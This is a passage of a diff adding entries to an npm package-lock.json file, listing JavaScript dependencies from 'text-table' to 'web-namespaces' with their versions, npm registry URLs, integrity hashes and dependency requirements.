} + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==" + }, + "tiny-invariant": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.1.tgz", + "integrity": "sha512-AD5ih2NlSssTCwsMznbvwMZpJ1cbhkGd2uueNxzv2jDlEeZdU04JQfRnggJQ8DrcVBGjAsCKwFBbDlVNtEMlzw==" + }, + "tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==" + }, + "to-readable-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", + "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "requires": { + "is-number": "^7.0.0" + } + }, + "toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" + }, + "totalist": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/totalist/-/totalist-1.1.0.tgz", + "integrity": "sha512-gduQwd1rOdDMGxFG1gEvhV88Oirdo2p+KjoYFU7k2g+i7n6AFFbDQ5kMPUsW0pNbfQsB/cwXvT1i4Bue0s9g5g==" + }, + "tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" + }, + "trim": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz", + "integrity": "sha512-YzQV+TZg4AxpKxaTHK3c3D+kRDCGVEE7LemdlQZoQXn0iennk10RsIoY6ikzAqJTc9Xjl9C1/waHom/J86ziAQ==" + }, + "trim-trailing-lines": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz", + "integrity": "sha512-rjUWSqnfTNrjbB9NQWfPMH/xRK1deHeGsHoVfpxJ++XeYXE0d6B1En37AHfw3jtfTU7dzMzZL2jjpe8Qb5gLIQ==" + }, + "trough": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", + "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==" + }, + "tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "devOptional": true, + "requires": { + "prelude-ls": "^1.2.1" + } + }, + "type-fest": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz", + "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "dependencies": { + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + } + } + }, + "typed-array-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz", + "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "is-typed-array": "^1.1.10" + } + }, + "typed-array-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz", + "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + } + }, + "typed-array-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz", + "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==", + "dev": true, + "requires": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + } + }, + "typed-array-length": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + } + }, + "typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "requires": { + "is-typedarray": "^1.0.0" + } + }, + "typescript": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.1.6.tgz", + "integrity": "sha512-zaWCozRZ6DLEWAWFrVDz1H6FVXzUSfTy5FUMWsQlU8Ym5JP9eO4xkTIROFCQvhQf61z6O/G6ugw3SgAnvvm+HA==" + }, + "ua-parser-js": { + "version": "1.0.35", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-1.0.35.tgz", + "integrity": "sha512-fKnGuqmTBnIE+/KXSzCn4db8RTigUzw1AN0DmdU6hJovUTbYJKyqj+8Mt1c4VfRDnOVJnENmfYkIPZ946UrSAA==" + }, + "unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + } + }, + "unescape": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unescape/-/unescape-1.0.1.tgz", + "integrity": "sha512-O0+af1Gs50lyH1nUu3ZyYS1cRh01Q/kUKatTOkSs7jukXE6/NebucDVxyiDsA9AQ4JC1V1jUH9EO8JX2nMDgGQ==", + "requires": { + "extend-shallow": "^2.0.1" + } + }, + "unherit": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz", + "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==", + "requires": { + "inherits": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==" + }, + "unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "requires": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==" + }, + "unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==" + }, + "unified": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", + "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", + "requires": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "dependencies": { + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==" + } + } + }, + "unique-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "requires": { + "crypto-random-string": "^2.0.0" + } + }, + "unist-builder": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-builder/-/unist-builder-2.0.3.tgz", + "integrity": "sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw==" + }, + "unist-util-generated": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-1.1.6.tgz", + "integrity": "sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg==" + }, + "unist-util-is": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==" + }, + "unist-util-position": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-3.1.0.tgz", + "integrity": "sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA==" + }, + "unist-util-remove": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unist-util-remove/-/unist-util-remove-2.1.0.tgz", + "integrity": "sha512-J8NYPyBm4baYLdCbjmf1bhPu45Cr1MWTm77qd9istEkzWpnN6O9tMsEbB2JhNnBCqGENRqEWomQ+He6au0B27Q==", + "requires": { + "unist-util-is": "^4.0.0" + } + }, + "unist-util-remove-position": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz", + "integrity": "sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==", + "requires": { + "unist-util-visit": "^2.0.0" + } + }, + "unist-util-stringify-position": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", + "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", + "requires": { + "@types/unist": "^2.0.2" + } + }, + "unist-util-visit": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.3.tgz", + "integrity": "sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q==", + "requires": { + "@types/unist": "^2.0.0", + "unist-util-is": "^4.0.0", + "unist-util-visit-parents": "^3.0.0" + } + }, + "unist-util-visit-parents": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz", + "integrity": "sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==", + "requires": { + "@types/unist": "^2.0.0", + "unist-util-is": "^4.0.0" + } + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==" + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==" + }, + "update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "update-notifier": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-5.1.0.tgz", + "integrity": "sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==", + "requires": { + "boxen": "^5.0.0", + "chalk": "^4.1.0", + "configstore": "^5.0.1", + "has-yarn": "^2.1.0", + "import-lazy": "^2.1.0", + "is-ci": "^2.0.0", + "is-installed-globally": "^0.4.0", + "is-npm": "^5.0.0", + "is-yarn-global": "^0.3.0", + "latest-version": "^5.1.0", + "pupa": "^2.1.1", + "semver": "^7.3.4", + "semver-diff": "^3.1.1", + "xdg-basedir": "^4.0.0" + }, + "dependencies": { + "boxen": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/boxen/-/boxen-5.1.2.tgz", + "integrity": "sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==", + "requires": { + "ansi-align": "^3.0.0", + "camelcase": "^6.2.0", + "chalk": "^4.1.0", + "cli-boxes": "^2.2.1", + "string-width": "^4.2.2", + "type-fest": "^0.20.2", + "widest-line": "^3.1.0", + "wrap-ansi": "^7.0.0" + } + }, + "cli-boxes": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", + "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==" + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==" + }, + "widest-line": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz", + "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==", + "requires": { + "string-width": "^4.0.0" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + } + } + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + }, + "dependencies": { + "punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==" + } + } + }, + "url-loader": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-4.1.1.tgz", + "integrity": "sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA==", + "requires": { + "loader-utils": "^2.0.0", + "mime-types": "^2.1.27", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha512-NjFKA0DidqPa5ciFcSrXnAltTtzz84ogy+NebPvfEgAck0+TNg4UJ4IN+fB7zRZfbgUf0syOo9MDxFkDSMuFaQ==", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "requires": {} + }, + "use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "requires": {} + }, + "use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "requires": { + "use-isomorphic-layout-effect": "^1.1.1" + } + }, + "use-sync-external-store": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.2.0.tgz", + "integrity": "sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA==", + "requires": {} + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==" + }, + "utility-types": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.10.0.tgz", + "integrity": "sha512-O11mqxmi7wMKCo6HKFt5AhO4BwY3VV68YU07tgxfz8zJTIxr4BpsezN49Ffwy9j3ZpwwJp4fkRwjRzq3uWE6Rg==" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==" + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + }, + "value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==" + }, + "vfile": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", + "requires": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^2.0.0", + "vfile-message": "^2.0.0" + } + }, + "vfile-location": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-3.2.0.tgz", + "integrity": "sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA==" + }, + "vfile-message": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", + "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", + "requires": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + } + }, + "vlq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/vlq/-/vlq-1.0.1.tgz", + "integrity": "sha512-gQpnTgkubC6hQgdIcRdYGDSDc+SaujOdyesZQMv6JlfQee/9Mp0Qhnys6WxDWvQnL5WZdT7o2Ul187aSt0Rq+w==" + }, + "wait-on": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/wait-on/-/wait-on-6.0.1.tgz", + "integrity": "sha512-zht+KASY3usTY5u2LgaNqn/Cd8MukxLGjdcZxT2ns5QzDmTFc4XoWBgC+C/na+sMRZTuVygQoMYwdcVjHnYIVw==", + "requires": { + "axios": "^0.25.0", + "joi": "^17.6.0", + "lodash": "^4.17.21", + "minimist": "^1.2.5", + "rxjs": "^7.5.4" + } + }, + "watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "requires": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + } + }, + "wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "requires": { + "minimalistic-assert": "^1.0.0" + } + }, + "web-namespaces": { + "version": "1.1.4", + "resolved": 